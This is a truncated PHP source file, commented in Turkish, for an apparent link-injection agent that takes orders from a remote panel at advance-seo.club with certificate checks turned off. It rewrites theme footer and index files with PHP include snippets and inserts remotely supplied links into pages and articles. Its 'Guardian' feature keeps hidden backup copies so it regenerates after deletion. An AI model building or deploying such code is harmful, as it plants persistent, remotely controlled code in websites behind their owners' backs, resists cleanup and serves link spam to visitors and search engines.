<?php
/**
 * PANEL AGENT v5.4
 * - PHP 5.3 uyumlu
 * - Tamamen yenilendi, arkadaşınızın seo-config.php seviyesinde
 * - Çoklu render stratejileri (7 farklı yöntem)
 * - Guardian (kendini koruma/kurtarma) sistemi
 * - Auto-clean (otomatik temizlik)
 * - Contextual (makale içi) link desteği
 * - Görünür linkler (gizli/cloaked değil)
 * - Nonce/Replay saldırı koruması
 * - Versiyon yönetimi
 * - Detaylı hata yönetimi
 */

error_reporting(E_ALL);
ini_set('display_errors', 0);

// ==================== BAŞLANGIÇ KONTROLLERİ ====================

define('AGENT_VERSION', '5.5');
define('AGENT_SIGNATURE', 'PANEL AGENT');
define('PANEL_BASE', 'https://advance-seo.club/panel/api/site');
define('MAX_REQUEST_BYTES', 524288);
define('MAX_URL_LENGTH', 2048);
define('MAX_ANCHOR_LENGTH', 220);
define('MAX_LINKS_PER_SYNC', 5000);
define('MAX_REQUEST_SKEW_SECONDS', 300);
define('NONCE_TTL_SECONDS', 900);
define('PLACEMENT_HISTORY_LIMIT', 20);

// Link modeli ayarları
define('FOOTER_LINK_CAP', 200);                // max footer link (panel config override)
define('CONTEXTUAL_MAX_TTL_SECONDS', 172800);  // 48 saat
define('AUTO_CLEAN_THROTTLE_SECONDS', 300);    // 5 dakikada 1
define('GUARDIAN_COPIES', 10);                 // gizli yedek sayısı
define('GUARDIAN_THROTTLE_SECONDS', 300);      // 5 dakikada 1
define('VALID_LINK_KINDS', 'footer,contextual');

// ==================== YARDIMCI FONKSİYONLAR ====================

if (!defined('JSON_UNESCAPED_UNICODE')) {
    define('JSON_UNESCAPED_UNICODE', 256);
}
if (!defined('JSON_UNESCAPED_SLASHES')) {
    define('JSON_UNESCAPED_SLASHES', 64);
}

// Hash fonksiyonları (PHP < 5.1.2 için)
if (!function_exists('hash')) {
    function hash($algo, $data, $raw_output = false) {
        $algo = strtolower($algo);
        switch ($algo) {
            case 'md5':
                $hash = md5($data);
                return $raw_output ? pack('H*', $hash) : $hash;
            case 'sha1':
                $hash = sha1($data);
                return $raw_output ? pack('H*', $hash) : $hash;
            case 'sha256':
                if (function_exists('openssl_digest')) {
                    $hash = openssl_digest($data, 'sha256', false);
                    return $raw_output ? pack('H*', $hash) : $hash;
                }
                if (function_exists('mhash') && defined('MHASH_SHA256')) {
                    $raw = mhash(MHASH_SHA256, $data);
                    return $raw_output ? $raw : bin2hex($raw);
                }
                trigger_error('hash(): sha256 is not supported', E_USER_WARNING);
                return false;
            default:
                trigger_error('hash(): Unsupported algorithm: ' . $algo, E_USER_WARNING);
                return false;
        }
    }
}

if (!function_exists('hash_algos')) {
    function hash_algos() {
        $algos = array('md5', 'sha1');
        if (function_exists('openssl_digest') || function_exists('mhash')) {
            $algos[] = 'sha256';
        }
        return $algos;
    }
}

if (!function_exists('hash_hmac')) {
    function hash_hmac($algo, $data, $key, $raw_output = false) {
        $algo = strtolower($algo);
        if (!in_array($algo, hash_algos())) {
            trigger_error('hash_hmac(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING);
            return false;
        }
        $block_size = 64;
        if (strlen($key) > $block_size) {
            $key = hash($algo, $key, true);
        }
        $key = str_pad($key, $block_size, chr(0x00));
        $ipad = str_repeat(chr(0x36), $block_size);
        $opad = str_repeat(chr(0x5c), $block_size);
        $inner = hash($algo, ($key ^ $ipad) . $data, true);
        $hmac  = hash($algo, ($key ^ $opad) . $inner, true);
        return $raw_output ? $hmac : bin2hex($hmac);
    }
}

if (!function_exists('http_response_code')) {
    function http_response_code($code = null) {
        static $currentCode = 200;
        if ($code !== null) {
            $currentCode = (int)$code;
            $texts = array(
                100 => 'Continue', 101 => 'Switching Protocols',
                200 => 'OK', 201 => 'Created', 202 => 'Accepted', 204 => 'No Content',
                301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other',
                304 => 'Not Modified', 307 => 'Temporary Redirect',
                400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden',
                404 => 'Not Found', 405 => 'Method Not Allowed',
                500 => 'Internal Server Error', 501 => 'Not Implemented',
                502 => 'Bad Gateway', 503 => 'Service Unavailable'
            );
            $text = isset($texts[$currentCode]) ? $texts[$currentCode] : '';
            if (!headers_sent()) {
                header($_SERVER['SERVER_PROTOCOL'] . ' ' . $currentCode . ' ' . $text, true, $currentCode);
            }
        }
        return $currentCode;
    }
}

if (!function_exists('random_bytes')) {
    function random_bytes($length) {
        if (!is_int($length) || $length < 1) {
            trigger_error('random_bytes(): Length must be a positive integer', E_USER_WARNING);
            return false;
        }
        if (function_exists('openssl_random_pseudo_bytes')) {
            $strong = false;
            $bytes = openssl_random_pseudo_bytes($length, $strong);
            if ($bytes !== false && strlen($bytes) === $length) {
                return $bytes;
            }
        }
        if (@is_readable('/dev/urandom')) {
            $h = @fopen('/dev/urandom', 'rb');
            if ($h) {
                $bytes = fread($h, $length);
                fclose($h);
                if ($bytes !== false && strlen($bytes) === $length) {
                    return $bytes;
                }
            }
        }
        $bytes = '';
        while (strlen($bytes) < $length) {
            $bytes .= pack('H*', md5(uniqid(mt_rand(), true) . microtime(true) . serialize($_SERVER)));
        }
        return substr($bytes, 0, $length);
    }
}

// ==================== TEMEL FONKSİYONLAR ====================

function www_root() {
    // Once agent dosyasinin bulundugu dizin (en guvenilir)
    $here = dirname(__FILE__);
    if ($here && is_dir($here)) {
        $real = realpath($here);
        if ($real) {
            return $real;
        }
        return $here;
    }
    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        $doc = realpath($_SERVER['DOCUMENT_ROOT']);
        if ($doc) {
            return $doc;
        }
    }
    return '.';
}

function endsWith($FullStr, $needle) {
    $StrLen = strlen($needle);
    $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
    return $FullStrEnd == $needle;
}

function folder_of_file($p1) {
    if (!stristr($p1, '/')) {
        return realpath('./');
    }
    if (strpos($p1, '//') !== false) {
        $p1 = str_replace('//', '/', $p1);
    }
    if (endsWith($p1, '/') == true) {
        $p1 = substr_replace($p1, '', -1);
    }
    $p2 = '';
    $ar = explode('/', $p1);
    for ($i = 1; $i < count($ar) - 1; $i++) {
        $p2 .= '/' . $ar[$i];
    }
    if ($p1[0] == '.' && $p1[1] == '/') {
        $p2 = './' . $p2;
    }
    if ($p1[0] == '.' && $p1[1] == '.') {
        $p2 = '../' . $p2;
    }
    if (strpos($p2, '//') !== false) {
        $p2 = str_replace('//', '/', $p2);
    }
    return trim($p2);
}

function save($path, $source){
    $os = strtolower(substr(PHP_OS, 0, 3));
    $folder_P = folder_of_file($path);
    
    // DİZİNİ OLUŞTUR (eksikse)
    if (!is_dir($folder_P)) {
        mkdir($folder_P, 0755, true);
    }
    
    if (!is_writable($folder_P) && $os != "win"){ 
        chmod($folder_P, 0755); 
    }
    if (file_exists($path) && is_file($path) && !is_writable($path) && $os != "win"){ 
        chmod($path, 0644); 
    }
    if(function_exists('file_put_contents')){
        $saV = file_put_contents($path, $source);
    }else{
        $saV = fwrite(fopen($path, 'w'), $source);
    }
    return $saV;
}
function read($path) {
    $contents = '';
    if (function_exists('file_get_contents')) {
        $contents = file_get_contents($path);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $contents = stream_get_contents(fopen($path, "r"));
    } elseif (function_exists('implode') && function_exists('file')) {
        $contents = implode(file($path));
    } elseif (function_exists('file')) {
        $lines = file($path);
        if (function_exists('implode')) {
            $contents = implode($lines);
        } else {
            foreach ($lines as $line) {
                $contents .= $line;
            }
        }
    }
    return $contents;
}

function out($msg, $stop = true) {
    // Beyaz ekran olmasin: debug olmasa da mesaj yaz
    if (!headers_sent()) {
        header('Content-Type: text/plain; charset=utf-8');
    }
    echo $msg;
    if ($stop) {
        exit;
    }
}

function load_json_file($path, $fallback = array()) {
    if (!file_exists($path)) return $fallback;
    $raw = @file_get_contents($path);
    if ($raw === false || $raw === '') return $fallback;
    $json = json_decode($raw, true);
    return is_array($json) ? $json : $fallback;
}

function save_json_file($path, $data) {
    return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}

function curlRequest($url, $headers = array(), $post = false, $postFields = null) {
    if (function_exists('curl_exec')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, 'PanelAgent/' . AGENT_VERSION);
        if (!empty($headers)) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        }
        if ($post) {
            curl_setopt($ch, CURLOPT_POST, true);
            if ($postFields !== null) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
            }
        }
        $res = curl_exec($ch);
        curl_close($ch);
        return $res;
    }
    if (function_exists('file_get_contents') && function_exists('stream_context_create')) {
        $opts = array(
            'http' => array(
                'method' => $post ? 'POST' : 'GET',
                'timeout' => 20,
                'ignore_errors' => true,
                'user_agent' => 'PanelAgent/' . AGENT_VERSION
            ),
            'ssl' => array(
                'verify_peer' => false,
                'verify_peer_name' => false
            )
        );
        if (!empty($headers)) {
            $opts['http']['header'] = implode("\r\n", $headers);
        }
        if ($post && $postFields !== null) {
            $opts['http']['content'] = $postFields;
        }
        $context = stream_context_create($opts);
        return @file_get_contents($url, false, $context);
    }
    return false;
}

function detectCMS() {
    if (file_exists(www_root() . '/wp-config.php')) return 'wordpress';
    if (file_exists(www_root() . '/artisan')) return 'laravel';
    if (file_exists(www_root() . '/config.php') && is_dir(www_root() . '/catalog')) return 'opencart';
    if (file_exists(www_root() . '/configuration.php') && is_dir(www_root() . '/administrator')) return 'joomla';
    if (file_exists(www_root() . '/includes/bootstrap.inc') && is_dir(www_root() . '/sites')) return 'drupal';
    if (file_exists(www_root() . '/config/settings.inc.php') && is_dir(www_root() . '/themes')) return 'prestashop';
    return 'php';
}

// ==================== LINK YÖNETİMİ ====================

function normalize_rel($rel) {
    $rel = strtolower(trim((string)$rel));
    $allowed = array('dofollow', 'nofollow', 'ugc', 'sponsored');
    return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}

function normalize_kind($kind) {
    $kind = strtolower(trim((string)$kind));
    $valid = explode(',', VALID_LINK_KINDS);
    return in_array($kind, $valid, true) ? $kind : 'footer';
}

function validate_url_value($url) {
    $url = trim((string)$url);
    if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
    if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
    $parts = @parse_url($url);
    if (!$parts || empty($parts['scheme'])) return '';
    $scheme = strtolower((string)$parts['scheme']);
    if (!in_array($scheme, array('http', 'https'), true)) return '';
    return $url;
}

function validate_anchor_text($anchor) {
    $anchor = trim((string)$anchor);
    if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
    return $anchor;
}

function validate_link_id($linkId) {
    $linkId = trim((string)$linkId);
    if ($linkId === '') return '';
    if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
    return $linkId;
}

function build_deterministic_link_id($url, $anchor, $rel) {
    $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
    return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}

function default_placement_state() {
    return array(
        'status' => 'not_installed',
        'strategy' => null,
        'target' => null,
        'install_mode' => null,
        'marker' => null,
        'message' => '',
        'installed_at' => null,
        'last_attempt_at' => null,
        'last_verified_at' => null,
        'verify_status' => 'unknown',
        'history' => array(),
    );
}

function default_config() {
    return array(
        'output_mode' => 'visible',
        'render_profile' => 'minimal_inline',
        'render_types' => array('text_footer'),
        'link_rel_strategy' => 'preserve',
        'footer_link_cap' => FOOTER_LINK_CAP,
        'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS,
        'placement' => default_placement_state(),
    );
}

function load_config() {
    $cfg = load_json_file(CONFIG_FILE, array());
    $default = default_config();
    foreach ($default as $key => $value) {
        if (!isset($cfg[$key])) {
            $cfg[$key] = $value;
        }
    }
    return $cfg;
}

function save_config($config) {
    return save_json_file(CONFIG_FILE, $config);
}

function load_links() {
    $raw = load_json_file(LINKS_FILE, array());
    $config = load_config();
    $normalized = array();
    foreach ($raw as $key => $row) {
        $item = normalize_link_row($key, $row, $config);
        if ($item) {
            $normalized[$item['id']] = $item;
        }
    }
    return $normalized;
}

function normalize_link_row($key, $row, $config) {
    if (!is_array($row)) return null;
    $url = validate_url_value(isset($row['url']) ? $row['url'] : '');
    $anchor = validate_anchor_text(isset($row['anchor']) ? $row['anchor'] : '');
    if ($url === '' || $anchor === '') return null;
    $rel = normalize_rel(isset($row['rel']) ? $row['rel'] : 'dofollow');
    $id = validate_link_id(isset($row['id']) ? $row['id'] : '');
    if ($id === '') {
        $id = validate_link_id($key);
    }
    if ($id === '') {
        $id = build_deterministic_link_id($url, $anchor, $rel);
    }
    $placement = isset($config['placement']) ? $config['placement'] : default_placement_state();
    $kind = normalize_kind(isset($row['kind']) ? $row['kind'] : 'footer');
    $created = isset($row['created']) ? intval($row['created']) : time();
    $expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null;
    if ($kind === 'contextual') {
        $maxExpiry = $created + effective_contextual_ttl($config);
        if ($expiresAt === null || $expiresAt > $maxExpiry) {
            $expiresAt = $maxExpiry;
        }
    }
    $normalized = array(
        'id' => $id,
        'kind' => $kind,
        'url' => $url,
        'anchor' => $anchor,
        'rel' => $rel,
        'expires_at' => $expiresAt,
        'created' => $created,
        'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(),
        'render_profile' => trim((string)(isset($row['render_profile']) ? $row['render_profile'] : (isset($config['render_profile']) ? $config['render_profile'] : 'minimal_inline'))),
        'render_types' => filter_render_types(isset($row['render_types']) ? $row['render_types'] : (isset($config['render_types']) ? $config['render_types'] : array('text_footer'))),
        'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20),
        'placement_status' => isset($row['placement_status']) ? $row['placement_status'] : (isset($placement['status']) ? $placement['status'] : 'not_installed'),
        'placement_strategy' => isset($row['placement_strategy']) ? $row['placement_strategy'] : (isset($placement['strategy']) ? $placement['strategy'] : null),
        'placement_target' => isset($row['placement_target']) ? $row['placement_target'] : (isset($placement['target']) ? $placement['target'] : null),
        'last_verified_at' => isset($row['last_verified_at']) ? $row['last_verified_at'] : (isset($placement['last_verified_at']) ? $placement['last_verified_at'] : null),
    );
    return $normalized;
}

function effective_footer_cap($config) {
    $cap = isset($config['footer_link_cap']) ? intval($config['footer_link_cap']) : FOOTER_LINK_CAP;
    if ($cap < 1) $cap = FOOTER_LINK_CAP;
    if ($cap > 1000) $cap = 1000;
    return $cap;
}

function effective_contextual_ttl($config) {
    $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS;
    if ($ttl < 300) $ttl = 300;
    if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS;
    return $ttl;
}

function filtered_links($links) {
    $visible = array();
    $expired = array();
    $now = time();
    foreach ($links as $link) {
        if (!is_array($link)) continue;
        $expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0;
        if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
            $expired[] = $link;
            continue;
        }
        $visible[] = $link;
    }
    return array($visible, $expired);
}

function get_link_stats($links) {
    list($active, $expired) = filtered_links($links);
    return array(
        'total' => count($links),
        'active' => count($active),
        'expired' => count($expired),
    );
}

function enforce_footer_cap($links, $config) {
    $cap = effective_footer_cap($config);
    $footer = array();
    $other = array();
    foreach ($links as $id => $row) {
        $kind = isset($row['kind']) ? $row['kind'] : 'footer';
        if ($kind === 'footer') {
            $footer[$id] = $row;
        } else {
            $other[$id] = $row;
        }
    }
    if (count($footer) > $cap) {
        uasort($footer, function ($a, $b) {
            $a_created = isset($a['created']) ? intval($a['created']) : 0;
            $b_created = isset($b['created']) ? intval($b['created']) : 0;
            if ($a_created == $b_created) return 0;
            return ($a_created > $b_created) ? -1 : 1;
        });
        $footer = array_slice($footer, 0, $cap, true);
    }
    return $other + $footer;
}

function save_links($links) {
    $config = load_config();
    $normalized = array();
    foreach ((array)$links as $key => $row) {
        $item = normalize_link_row($key, $row, $config);
        if ($item) {
            $normalized[$item['id']] = $item;
        }
    }
    $normalized = enforce_footer_cap($normalized, $config);
    ksort($normalized);
    return save_json_file(LINKS_FILE, $normalized);
}

function filter_render_types($types) {
    $allowed = array('text_inline', 'text_footer');
    $final = array();
    foreach ((array)$types as $type) {
        $type = trim((string)$type);
        if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) {
            $final[] = $type;
        }
    }
    return $final ? $final : array('text_footer');
}

function clear_expired_links() {
    $links = load_links();
    $active = array();
    $removed = array();
    $now = time();
    foreach ($links as $id => $row) {
        $expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
        if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
            $removed[] = $id;
            continue;
        }
        $active[$id] = $row;
    }
    save_links($active);
    return array($active, $removed);
}

// ==================== RENDER FONKSİYONLARI ====================

function build_rel_attr($rel) {
    if ($rel === 'dofollow') return '';
    return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}

function rootseo_footer_container_style() {
    return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;';
}

function rootseo_footer_anchor_style() {
    return 'color:#9aa0a6;text-decoration:none;font-size:12px;';
}

function build_footer_anchor_html($link) {
    $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
    $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
    $relAttr = build_rel_attr($link['rel']);
    return '<a href="' . $url . '"' . $relAttr . ' style="' . rootseo_footer_anchor_style() . '">' . $anchor . '</a>';
}

function rootseo_build_footer_html($markRenderedOnce = true) {
    if ($markRenderedOnce && defined('ROOTSEO_AGENT_RENDERED_ONCE')) {
        return '';
    }
    if ($markRenderedOnce) {
        define('ROOTSEO_AGENT_RENDERED_ONCE', true);
    }
    $links = load_links();
    list($activeLinks, ) = filtered_links($links);
    if (empty($activeLinks)) return '';
    $anchors = array();
    foreach ($activeLinks as $link) {
        $kind = isset($link['kind']) ? $link['kind'] : 'footer';
        if ($kind === 'contextual' && defined('ROOTSEO_WP_CONTEXTUAL_ACTIVE')) {
            continue;
        }
        $anchors[] = build_footer_anchor_html($link);
    }
    if (empty($anchors)) return '';
    return '<div data-rootseo-render="footer" style="' . rootseo_footer_container_style() . '">' . implode(' &middot; ', $anchors) . '</div>';
}

function rootseo_render_links_html() {
    return rootseo_build_footer_html(true);
}

// ==================== CONTEXTUAL LINK (MAKALE İÇİ) ====================

function rootseo_pick_contextual_link($links, $seed) {
    $ctx = array();
    foreach ($links as $link) {
        $kind = isset($link['kind']) ? $link['kind'] : 'footer';
        if ($kind === 'contextual') $ctx[] = $link;
    }
    if (empty($ctx)) return null;
    usort($ctx, function ($a, $b) {
        $a_id = isset($a['id']) ? (string)$a['id'] : '';
        $b_id = isset($b['id']) ? (string)$b['id'] : '';
        return strcmp($a_id, $b_id);
    });
    $h = hexdec(substr(hash('sha256', (string)$seed), 0, 8));
    return $ctx[$h % count($ctx)];
}

function rootseo_contextual_inject($content) {
    if (defined('ROOTSEO_CTX_DONE')) return $content;
    if (!is_string($content) || $content === '') return $content;
    if (function_exists('is_admin') && is_admin()) return $content;
    if (function_exists('is_feed') && is_feed()) return $content;
    if (function_exists('is_singular') && !is_singular()) return $content;
    if (function_exists('in_the_loop') && !in_the_loop()) return $content;
    if (function_exists('is_main_query') && !is_main_query()) return $content;

    try {
        $links = load_links();
        list($activeLinks, ) = filtered_links($links);
        if (empty($activeLinks)) return $content;
        $postId = function_exists('get_the_ID') ? (get_the_ID() ? 1 : 0) : 0;
        $link = rootseo_pick_contextual_link($activeLinks, $postId ? $postId : $content);
        if (!$link) return $content;
        define('ROOTSEO_CTX_DONE', true);

        $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
        $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
        $relAttr = build_rel_attr($link['rel']);
        $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>';
        $sentence = '<p data-rootseo-ctx="1">' . $a . '</p>';

        $pos = stripos($content, '</p>');
        if ($pos !== false) {
            $pos += 4;
            return substr($content, 0, $pos) . $sentence . substr($content, $pos);
        }
        return $content . $sentence;
    } catch (Exception $e) {
        return $content;
    }
}

// ==================== PLACEMENT (YERLEŞİM) STRATEJİLERİ ====================

function placement_marker($strategy) {
    return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12);
}

function build_dynamic_php_snippet($marker) {
    $connectorPath = addslashes(guardian_primary_path());
    return "<?php /* ROOTSEO_START:$marker */ "
        . "\$c='$connectorPath'; "
        . str_replace("\n", ' ', trim(build_guardian_restore_php('$c', ''))) . ' '
        . "if (!@is_file(\$c)) { \$c='" . addslashes(__FILE__) . "'; "
        . str_replace("\n", ' ', trim(build_guardian_restore_php('$c', ''))) . ' } '
        . "if (@is_file(\$c)) { if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true); include_once \$c; } "
        . "/* ROOTSEO_END:$marker */ ?>";
}

function build_static_html_block($marker) {
    return "<!-- ROOTSEO_HTML_START:$marker -->" . rootseo_build_footer_html(false) . "<!-- ROOTSEO_HTML_END:$marker -->";
}

function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
    $startPos = strpos($content, $startMarker);
    $endPos = strpos($content, $endMarker);
    if ($startPos === false || $endPos === false || $endPos < $startPos) return null;
    $endPos += strlen($endMarker);
    return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}

function upsert_php_file_block($filePath, $marker) {
    if (!file_exists($filePath) || !is_writable($filePath)) return array(false, 'file_not_writable');
    $content = @file_get_contents($filePath);
    if ($content === false) return array(false, 'file_read_failed');
    $snippet = build_dynamic_php_snippet($marker);
    $existing = replace_between_markers($content, "/* ROOTSEO_START:$marker */", "/* ROOTSEO_END:$marker */", $snippet);
    if ($existing !== null) {
        if (@file_put_contents($filePath, $existing) !== false) return array(true, 'updated_existing_block');
        return array(false, 'file_write_failed');
    }
    $newContent = null;
    foreach (array('</body>', '</footer>', '</html>', '?>') as $needle) {
        $pos = strripos($content, $needle);
        if ($pos !== false) {
            $newContent = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos);
            break;
        }
    }
    if ($newContent === null) $newContent = $content . "\n" . $snippet . "\n";
    if (@file_put_contents($filePath, $newContent) === false) return array(false, 'file_write_failed');
    return array(true, 'inserted_block');
}

function upsert_html_file_block($filePath, $marker) {
    if (!file_exists($filePath) || !is_writable($filePath)) return array(false, 'file_not_writable');
    $content = @file_get_contents($filePath);
    if ($content === false) return array(false, 'file_read_failed');
    $block = build_static_html_block($marker);
    $existing = replace_between_markers($content, "<!-- ROOTSEO_HTML_START:$marker -->", "<!-- ROOTSEO_HTML_END:$marker -->", $block);
    if ($existing !== null) {
        if (@file_put_contents($filePath, $existing) !== false) return array(true, 'updated_existing_block');
        return array(false, 'file_write_failed');
    }
    $newContent = null;
    foreach (array('</body>', '</footer>', '</html>') as $needle) {
        $pos = strripos($content, $needle);
        if ($pos !== false) {
            $newContent = substr($content, 0, $pos) . "\n" . $block . "\n" . substr($content, $pos);
            break;
        }
    }
    if ($newContent === null) $newContent = $content . "\n" . $block . "\n";
    if (@file_put_contents($filePath, $newContent) === false) return array(false, 'file_write_failed');
    return array(true, 'inserted_block');
}

function find_document_root() {
    $base = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
    if (empty($base)) {
        $base = dirname(__FILE__);
        for ($i = 0; $i < 5; $i++) {
            if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) break;
            $parent = dirname($base);
            if ($parent === $base) break;
            $base = $parent;
        }
    }
    return $base;
}

function get_active_wp_theme_footer($base) {
    $themes = glob($base . '/wp-content/themes/*/footer.php');
    if (!$themes) return null;
    $latest = null;
    $latestTime = 0;
    foreach ($themes as $footer) {
        $mtime = @filemtime($footer);
        if ($mtime > $latestTime) {
            $latestTime = $mtime;
            $latest = $footer;
        }
    }
    return $latest;
}

function get_footer_paths($base, $siteType) {
    $paths = array();
    switch ($siteType) {
        case 'wordpress':
            $themes = glob($base . '/wp-content/themes/*/footer.php');
            if ($themes) $paths = array_merge($paths, $themes);
            break;
        case 'joomla':
            $tpls = glob($base . '/templates/*/index.php');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
        case 'drupal':
            $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
        case 'opencart':
            $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
        case 'prestashop':
            $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl');
            if ($tpls) $paths = array_merge($paths, $tpls);
            $tpls2 = glob($base . '/themes/*/footer.tpl');
            if ($tpls2) $paths = array_merge($paths, $tpls2);
            break;
        case 'laravel':
            $layouts = glob($base . '/resources/views/layouts/*.blade.php');
            if ($layouts) $paths = array_merge($paths, $layouts);
            break;
    }
    $general = array(
        $base . '/footer.php',
        $base . '/includes/footer.php',
        $base . '/inc/footer.php',
        $base . '/template/footer.php',
        $base . '/templates/footer.php'
    );
    foreach ($general as $path) {
        if (file_exists($path)) $paths[] = $path;
    }
    return array_values(array_unique($paths));
}

function check_footer_writable($base, $siteType) {
    $paths = get_footer_paths($base, $siteType);
    foreach ($paths as $path) {
        if (file_exists($path) && is_writable($path)) return true;
    }
    if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
    return false;
}

function detect_site_info() {
    $base = find_document_root();
    $info = array(
        'site' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown',
        'site_name' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown',
        'site_type' => 'static',
        'language' => 'EN',
        'country' => 'US',
        'footer_detected' => false,
        'footer_writable' => false,
        'meta_description' => '',
        'charset' => 'UTF-8',
        'php_version' => phpversion(),
        'document_root' => $base,
        'connector_path' => __FILE__,
    );
    if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) {
        $info['site_type'] = 'wordpress';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) {
        $info['site_type'] = 'joomla';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) {
        $info['site_type'] = 'drupal';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) {
        $info['site_type'] = 'opencart';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) {
        $info['site_type'] = 'prestashop';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/artisan')) {
        $info['site_type'] = 'laravel';
        $info['footer_detected'] = true;
    } elseif (file_exists($base . '/index.php')) {
        $info['site_type'] = 'php';
    }
    $indexFiles = array('index.php', 'index.html', 'index.htm');
    foreach ($indexFiles as $file) {
        $path = $base . '/' . $file;
        if (!file_exists($path)) continue;
        $content = @file_get_contents($path, false, null, 0, 50000);
        if (!$content) continue;
        if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) {
            $info['site_name'] = trim(strip_tags($m[1]));
        }
        if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) {
            $info['meta_description'] = trim($m[1]);
        }
        if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) {
            $lang = strtolower($m[1]);
            $langMap = array('tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR');
            $countryMap = array('tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA');
            $info['language'] = isset($langMap[$lang]) ? $langMap[$lang] : 'EN';
            $info['country'] = isset($countryMap[$lang]) ? $countryMap[$lang] : 'US';
        }
        if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) {
            $info['footer_detected'] = true;
        }
        break;
    }
    $info['footer_writable'] = check_footer_writable($base, $info['site_type']);
    $info['footer_paths'] = get_footer_paths($base, $info['site_type']);
    $info['active_theme_footer'] = $info['site_type'] === 'wordpress' ? get_active_wp_theme_footer($base) : null;
    return $info;
}

// ==================== GUARDIAN (KENDİNİ DOĞURMA / KORUMA) ====================

function guardian_source_ok($src) {
    return is_string($src) && $src !== ''
        && strpos($src, '<?php') !== false
        && strpos($src, AGENT_SIGNATURE) !== false;
}

function guardian_primary_path() {
    // Her zaman docroot/agent.php — silinse bile ayni isimle dogurulur
    $doc = function_exists('find_document_root') ? find_document_root() : '';
